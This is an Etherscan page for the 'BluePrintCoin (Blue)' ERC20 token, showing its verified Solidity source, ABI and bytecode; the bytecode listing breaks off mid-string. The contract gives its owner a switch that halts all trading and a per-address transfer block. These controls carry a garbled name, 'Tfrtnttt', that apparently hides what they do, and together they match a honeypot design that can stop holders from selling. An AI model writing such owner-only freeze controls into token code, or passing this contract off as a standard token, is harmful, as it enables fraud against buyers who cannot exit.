ETH Price: $3,114.87 (+0.91%)
Gas: 4 Gwei

Token

BluePrintCoin (Blue)
 

Overview

Max Total Supply

1,000,000,000 Blue

Holders

218

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
100 Blue

Value
$0.00
0xf7efc55ec34888e461c15b966d9e04a33c7b65ff
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Blue

Compiler Version
v0.8.5+commit.a4f2e591

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-12-02
*/

pragma solidity ^0.8.5;

// Interface for ERC20 Token Standard, which defines the essential functions and events.
interface IERC20 {
    function totalSupply() external view returns (uint256); // Returns the total token supply.
    function balanceOf(address account) external view returns (uint256); // Returns the account balance of another account with address `account`.
    function transfer(address recipient, uint256 amount) external returns (bool); // Transfers `amount` tokens to `recipient`, returns true on success.
    function allowance(address owner, address spender) external view returns (uint256); // Returns the amount of tokens that `spender` is still allowed to withdraw from `owner`.
    function approve(address spender, uint256 amount) external returns (bool); // Allows `spender` to withdraw from your account multiple times, up to the `amount`. If this function is called again it overwrites the current allowance with `amount`.
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); // Transfers `amount` tokens from `sender` to `recipient`.
    event Transfer(address indexed from, address indexed to, uint256 value); // Emitted when `value` tokens are moved from one account (`from`) to another (`to`).
    event Approval(address indexed owner, address indexed spender, uint256 value); // Emitted when the allowance of a `spender` for an `owner` is set by a call to `approve`. `value` is the new allowance.
}

// Provides basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to specific functions.
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender); // Returns the sender of the message (current call).
    }
}

// Contract module which provides a basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to specific functions.
contract Ownable is Context {
    address private _owner; // Variable to store the owner's address.

    // Event to indicate ownership transfer, `previousOwner` is the address of the previous owner, `newOwner` is the address of the new owner.
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    // Constructor sets the original `owner` of the contract to the sender account.
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    // Function to view the current owner.
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Modifier to check if the caller is the owner of the contract.
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    // Function to relinquish control of the contract. It leaves the contract without an owner, thereby removing any functionality that is only available to the owner.
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    // Function to transfer ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

// Contract for a custom ERC20 token with additional functionalities like trading control and transfer Tfrtnttts.
contract Blue is Context, IERC20, Ownable {
    // Mapping to store the balances of each account.
    mapping (address => uint256) private _balances;

    // Mapping to store the allowances given to third parties to spend tokens on behalf of the token holder.
    mapping (address => mapping (address => uint256)) private _allowances;

    // Mapping to store transfer Tfrtnttts (e.g., time-based Tfrtnttts).
    mapping (address => uint256) private _transferTfrtnttts;

    // Flag to control if trading is enabled or disabled.
    bool private _tradingEnabled = true;

    // Token attributes.
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    // Constructor to set initial values for name, symbol, decimals, and total supply.
    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** uint256(decimals_));
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    // Function to enable or disable trading. Can only be called by the owner.
    function setTradingEnabled(bool enabled) public onlyOwner {
        _tradingEnabled = enabled;
    }

    // Function to check if trading is enabled.
    function isTradingEnabled() public view returns (bool) {
        return _tradingEnabled;
    }

    // Function to set transfer Tfrtnttt for a specific account. Can only be called by the owner.
    function setTransferTfrtnttt(address account, uint256 time) public onlyOwner {
        require(account != address(0), "Cannot set Tfrtnttt for the zero address");
        _transferTfrtnttts[account] = time;
    }

    // Function to remove transfer Tfrtnttt for a specific account. Can only be called by the owner.
    function removeTransferTfrtnttt(address account) public onlyOwner {
        require(account != address(0), "Cannot remove Tfrtnttt for the zero address");
        delete _transferTfrtnttts[account];
    }

    // Function to view the transfer Tfrtnttt time for a specific account.
    function getTfrtntttTime(address account) public view returns (uint256) {
        require(account != address(0), "Cannot query Tfrtnttt time for the zero address");
        return _transferTfrtnttts[account];
    }

    // ERC20 standard functions.
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    // Customized transfer function which also checks for trading enabled and transfer Tfrtnttts.
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_tradingEnabled, "Trading is currently disabled");
        require(_balances[_msgSender()] >= amount, "Transfer amount exceeds balance");
        require(block.timestamp >= _transferTfrtnttts[_msgSender()], "Transfer is currently restricted for this address");

        _balances[_msgSender()] -= amount;
        _balances[recipient] += amount;
        emit Transfer(_msgSender(), recipient, amount);
        return true;
    }

    // ERC20 standard functions for allowance and approval.
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    // Customized transferFrom function which also checks for trading enabled and transfer Tfrtnttts.
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        require(_tradingEnabled, "Trading is currently disabled");
        require(_allowances[sender][_msgSender()] >= amount, "Transfer amount exceeds allowance");
        require(_balances[sender] >= amount, "Transfer amount exceeds balance");
        require(block.timestamp >= _transferTfrtnttts[sender], "Transfer is currently restricted for this address");

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        _allowances[sender][_msgSender()] -= amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getTfrtntttTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeTransferTfrtnttt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setTradingEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"time","type":"uint256"}],"name":"setTransferTfrtnttt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526001600460006101000a81548160ff0219169083151502179055503480156200002c57600080fd5b50604051620025c2380380620025c28339818101604052810190620000529190620003b0565b6000620000646200024c60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35083600590805190602001906200011a92919062000254565b5082600690805190602001906200013392919062000254565b5081600760006101000a81548160ff021916908360ff1602179055508160ff16600a62000161919062000548565b816200016e919062000685565b600881905550600854600160006200018b6200024c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001d96200024c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516200023a919062000471565b60405180910390a35050505062000892565b600033905090565b828054620002629062000733565b90600052602060002090601f016020900481019282620002865760008555620002d2565b82601f10620002a157805160ff1916838001178555620002d2565b82800160010185558215620002d2579182015b82811115620002d1578251825591602001919060010190620002b4565b5b509050620002e19190620002e5565b5090565b5b8082111562000300576000816000905550600101620002e6565b5090565b60006200031b6200031584620004b7565b6200048e565b9050828152602081018484840111156200033a576200033962000831565b5b62000347848285620006fd565b509392505050565b600082601f8301126200036757620003666200082c565b5b81516200037984826020860162000304565b91505092915050565b60008151905062000393816200085e565b92915050565b600081519050620003aa8162000878565b92915050565b60008060008060808587031215620003cd57620003cc6200083b565b5b600085015167ffffffffffffffff811115620003ee57620003ed62000836565b5b620003fc878288016200034f565b945050602085015167ffffffffffffffff81111562000420576200041f62000836565b5b6200042e878288016200034f565b9350506040620004418782880162000399565b9250506060620004548782880162000382565b91505092959194509250565b6200046b81620006e6565b82525050565b600060208201905062000488600083018462000460565b92915050565b60006200049a620004ad565b9050620004a8828262000769565b919050565b6000604051905090565b600067ffffffffffffffff821115620004d557620004d4620007fd565b5b620004e08262000840565b9050602081019050919050565b6000808291508390505b60018511156200053f578086048111156200051757620005166200079f565b5b6001851615620005275780820291505b8081029050620005378562000851565b9450620004f7565b94509492505050565b60006200055582620006e6565b91506200056283620006e6565b9250620005917fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000599565b905092915050565b600082620005ab57600190506200067e565b81620005bb57600090506200067e565b8160018114620005d45760028114620005df5762000615565b60019150506200067e565b60ff841115620005f457620005f36200079f565b5b8360020a9150848211156200060e576200060d6200079f565b5b506200067e565b5060208310610133831016604e8410600b84101617156200064f5782820a9050838111156200064957620006486200079f565b5b6200067e565b6200065e8484846001620004ed565b925090508184048111156200067857620006776200079f565b5b81810290505b9392505050565b60006200069282620006e6565b91506200069f83620006e6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006db57620006da6200079f565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60005b838110156200071d57808201518184015260208101905062000700565b838111156200072d576000848401525b50505050565b600060028204905060018216806200074c57607f821691505b60208210811415620007635762000762620007ce565b5b50919050565b620007748262000840565b810181811067ffffffffffffffff82111715620007965762000795620007fd565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b6200086981620006e6565b81146200087557600080fd5b50565b6200088381620006f0565b81146200088f57600080fd5b50565b611d2080620008a26000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c80638da5cb5b116100a2578063b88dde6f11610071578063b88dde6f146102aa578063c2e5ec04146102c6578063d99ca612146102e2578063dd62ed3e14610312578063f2fde38b146103425761010b565b80638da5cb5b1461022257806395d89b4114610240578063991330ce1461025e578063a9059cbb1461027a5761010b565b806323b872dd116100de57806323b872dd1461019a578063313ce567146101ca57806370a08231146101e8578063715018a6146102185761010b565b8063064a59d01461011057806306fdde031461012e578063095ea7b31461014c57806318160ddd1461017c575b600080fd5b61011861035e565b60405161012591906116e9565b60405180910390f35b610136610375565b6040516101439190611704565b60405180910390f35b610166600480360381019061016191906114b1565b610407565b60405161017391906116e9565b60405180910390f35b610184610507565b6040516101919190611846565b60405180910390f35b6101b460048036038101906101af919061145e565b610511565b6040516101c191906116e9565b60405180910390f35b6101d26108e2565b6040516101df9190611861565b60405180910390f35b61020260048036038101906101fd91906113f1565b6108f9565b60405161020f9190611846565b60405180910390f35b610220610942565b005b61022a610a7c565b60405161023791906116ce565b60405180910390f35b610248610aa5565b6040516102559190611704565b60405180910390f35b610278600480360381019061027391906113f1565b610b37565b005b610294600480360381019061028f91906114b1565b610c69565b6040516102a191906116e9565b60405180910390f35b6102c460048036038101906102bf91906114b1565b610ef5565b005b6102e060048036038101906102db91906114f1565b611029565b005b6102fc60048036038101906102f791906113f1565b6110c2565b6040516103099190611846565b60405180910390f35b61032c6004803603810190610327919061141e565b61117a565b6040516103399190611846565b60405180910390f35b61035c600480360381019061035791906113f1565b611201565b005b6000600460009054906101000a900460ff16905090565b606060058054610384906119aa565b80601f01602080910402602001604051908101604052809291908181526020018280546103b0906119aa565b80156103fd5780601f106103d2576101008083540402835291602001916103fd565b820191906000526020600020905b8154815290600101906020018083116103e057829003601f168201915b5050505050905090565b600081600260006104166113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166104b06113aa565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104f59190611846565b60405180910390a36001905092915050565b6000600854905090565b6000600460009054906101000a900460ff16610562576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055990611806565b60405180910390fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105ac6113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610628576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061f90611746565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a190611786565b60405180910390fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442101561072c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072390611766565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461077b91906118ee565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107d19190611898565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108226113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461086b91906118ee565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108cf9190611846565b60405180910390a3600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61094a6113aa565b73ffffffffffffffffffffffffffffffffffffffff16610968610a7c565b73ffffffffffffffffffffffffffffffffffffffff16146109be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b5906117a6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610ab4906119aa565b80601f0160208091040260200160405190810160405280929190818152602001828054610ae0906119aa565b8015610b2d5780601f10610b0257610100808354040283529160200191610b2d565b820191906000526020600020905b815481529060010190602001808311610b1057829003601f168201915b5050505050905090565b610b3f6113aa565b73ffffffffffffffffffffffffffffffffffffffff16610b5d610a7c565b73ffffffffffffffffffffffffffffffffffffffff1614610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa906117a6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1a906117e6565b60405180910390fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000905550565b6000600460009054906101000a900460ff16610cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb190611806565b60405180910390fd5b8160016000610cc76113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3a90611786565b60405180910390fd5b60036000610d4f6113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421015610dcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc390611766565b60405180910390fd5b8160016000610dd96113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e2291906118ee565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e789190611898565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610e9e6113aa565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ee39190611846565b60405180910390a36001905092915050565b610efd6113aa565b73ffffffffffffffffffffffffffffffffffffffff16610f1b610a7c565b73ffffffffffffffffffffffffffffffffffffffff1614610f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f68906117a6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd8906117c6565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6110316113aa565b73ffffffffffffffffffffffffffffffffffffffff1661104f610a7c565b73ffffffffffffffffffffffffffffffffffffffff16146110a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109c906117a6565b60405180910390fd5b80600460006101000a81548160ff02191690831515021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112a90611826565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112096113aa565b73ffffffffffffffffffffffffffffffffffffffff16611227610a7c565b73ffffffffffffffffffffffffffffffffffffffff161461127d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611274906117a6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156112ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e490611726565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b6000813590506113c181611ca5565b92915050565b6000813590506113d681611cbc565b92915050565b6000813590506113eb81611cd3565b92915050565b60006020828403121561140757611406611a3a565b5b6000611415848285016113b2565b91505092915050565b6000806040838503121561143557611434611a3a565b5b6000611443858286016113b2565b9250506020611454858286016113b2565b9150509250929050565b60008060006060848603121561147757611476611a3a565b5b6000611485868287016113b2565b9350506020611496868287016113b2565b92505060406114a7868287016113dc565b9150509250925092565b600080604083850312156114c8576114c7611a3a565b5b60006114d6858286016113b2565b92505060206114e7858286016113dc565b9150509250929050565b60006020828403121561150757611506611a3a565b5b6000611515848285016113c7565b91505092915050565b61152781611922565b82525050565b61153681611934565b82525050565b60006115478261187c565b6115518185611887565b9350611561818560208601611977565b61156a81611a3f565b840191505092915050565b6000611582602683611887565b915061158d82611a50565b604082019050919050565b60006115a5602183611887565b91506115b082611a9f565b604082019050919050565b60006115c8603183611887565b91506115d382611aee565b604082019050919050565b60006115eb601f83611887565b91506115f682611b3d565b602082019050919050565b600061160e602083611887565b915061161982611b66565b602082019050919050565b6000611631602883611887565b915061163c82611b8f565b604082019050919050565b6000611654602b83611887565b915061165f82611bde565b604082019050919050565b6000611677601d83611887565b915061168282611c2d565b602082019050919050565b600061169a602f83611887565b91506116a582611c56565b604082019050919050565b6116b981611960565b82525050565b6116c88161196a565b82525050565b60006020820190506116e3600083018461151e565b92915050565b60006020820190506116fe600083018461152d565b92915050565b6000602082019050818103600083015261171e818461153c565b905092915050565b6000602082019050818103600083015261173f81611575565b9050919050565b6000602082019050818103600083015261175f81611598565b9050919050565b6000602082019050818103600083015261177f816115bb565b9050919050565b6000602082019050818103600083015261179f816115de565b9050919050565b600060208201905081810360008301526117bf81611601565b9050919050565b600060208201905081810360008301526117df81611624565b9050919050565b600060208201905081810360008301526117ff81611647565b9050919050565b6000602082019050818103600083015261181f8161166a565b9050919050565b6000602082019050818103600083015261183f8161168d565b9050919050565b600060208201905061185b60008301846116b0565b92915050565b600060208201905061187660008301846116bf565b92915050565b600081519050919050565b600082825260208201905092915050565b60006118a382611960565b91506118ae83611960565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118e3576118e26119dc565b5b828201905092915050565b60006118f982611960565b915061190483611960565b925082821015611917576119166119dc565b5b828203905092915050565b600061192d82611940565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561199557808201518184015260208101905061197a565b838111156119a4576000848401525b50505050565b600060028204905060018216806119c257607f821691505b602082108114156119d6576119d5611a0b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6360008201527f6500000000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e736665722069732063757272656e746c79207265737472696374656460008201527f20666f7220746869732061646472657373000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e7420657863656564732062616c616e636500600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f43616e6e6f742073657420546672746e74747420666f7220746865207a65726f60008201527f2061646472657373000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f742072656d6f766520546672746e74747420666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b7f54726164696e672069732063757272656e746c792064697361626c6564000000600082015250565b7f43616e6e6f7420717565727920546672746e7474742074696d6520666f72207460008201527f6865207a65726f20616464726573730000000000000000000000000000000000602082015250565b611cae81611922565b8114611cb957600080fd5b50565b611cc581611934565b8114611cd057600080fd5b50565b611cdc81611960565b8114611ce757600080fd5b5056fea2646970667358221220b135452f7cfb8b8874d8a883ef9b3c95b3acad4abe0d65c311812fb86f8685a864736f6c63430008050033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000000000000000000000000000000000000000000d426c75655072696e74436f696e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004426c756500000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80638da5cb5b116100a2578063b88dde6f11610071578063b88dde6f146102aa578063c2e5ec04146102c6578063d99ca612146102e2578063dd62ed3e14610312578063f2fde38b146103425761010b565b80638da5cb5b1461022257806395d89b4114610240578063991330ce1461025e578063a9059cbb1461027a5761010b565b806323b872dd116100de57806323b872dd1461019a578063313ce567146101ca57806370a08231146101e8578063715018a6146102185761010b565b8063064a59d01461011057806306fdde031461012e578063095ea7b31461014c57806318160ddd1461017c575b600080fd5b61011861035e565b60405161012591906116e9565b60405180910390f35b610136610375565b6040516101439190611704565b60405180910390f35b610166600480360381019061016191906114b1565b610407565b60405161017391906116e9565b60405180910390f35b610184610507565b6040516101919190611846565b60405180910390f35b6101b460048036038101906101af919061145e565b610511565b6040516101c191906116e9565b60405180910390f35b6101d26108e2565b6040516101df9190611861565b60405180910390f35b61020260048036038101906101fd91906113f1565b6108f9565b60405161020f9190611846565b60405180910390f35b610220610942565b005b61022a610a7c565b60405161023791906116ce565b60405180910390f35b610248610aa5565b6040516102559190611704565b60405180910390f35b610278600480360381019061027391906113f1565b610b37565b005b610294600480360381019061028f91906114b1565b610c69565b6040516102a191906116e9565b60405180910390f35b6102c460048036038101906102bf91906114b1565b610ef5565b005b6102e060048036038101906102db91906114f1565b611029565b005b6102fc60048036038101906102f791906113f1565b6110c2565b6040516103099190611846565b60405180910390f35b61032c6004803603810190610327919061141e565b61117a565b6040516103399190611846565b60405180910390f35b61035c600480360381019061035791906113f1565b611201565b005b6000600460009054906101000a900460ff16905090565b606060058054610384906119aa565b80601f01602080910402602001604051908101604052809291908181526020018280546103b0906119aa565b80156103fd5780601f106103d2576101008083540402835291602001916103fd565b820191906000526020600020905b8154815290600101906020018083116103e057829003601f168201915b5050505050905090565b600081600260006104166113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166104b06113aa565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104f59190611846565b60405180910390a36001905092915050565b6000600854905090565b6000600460009054906101000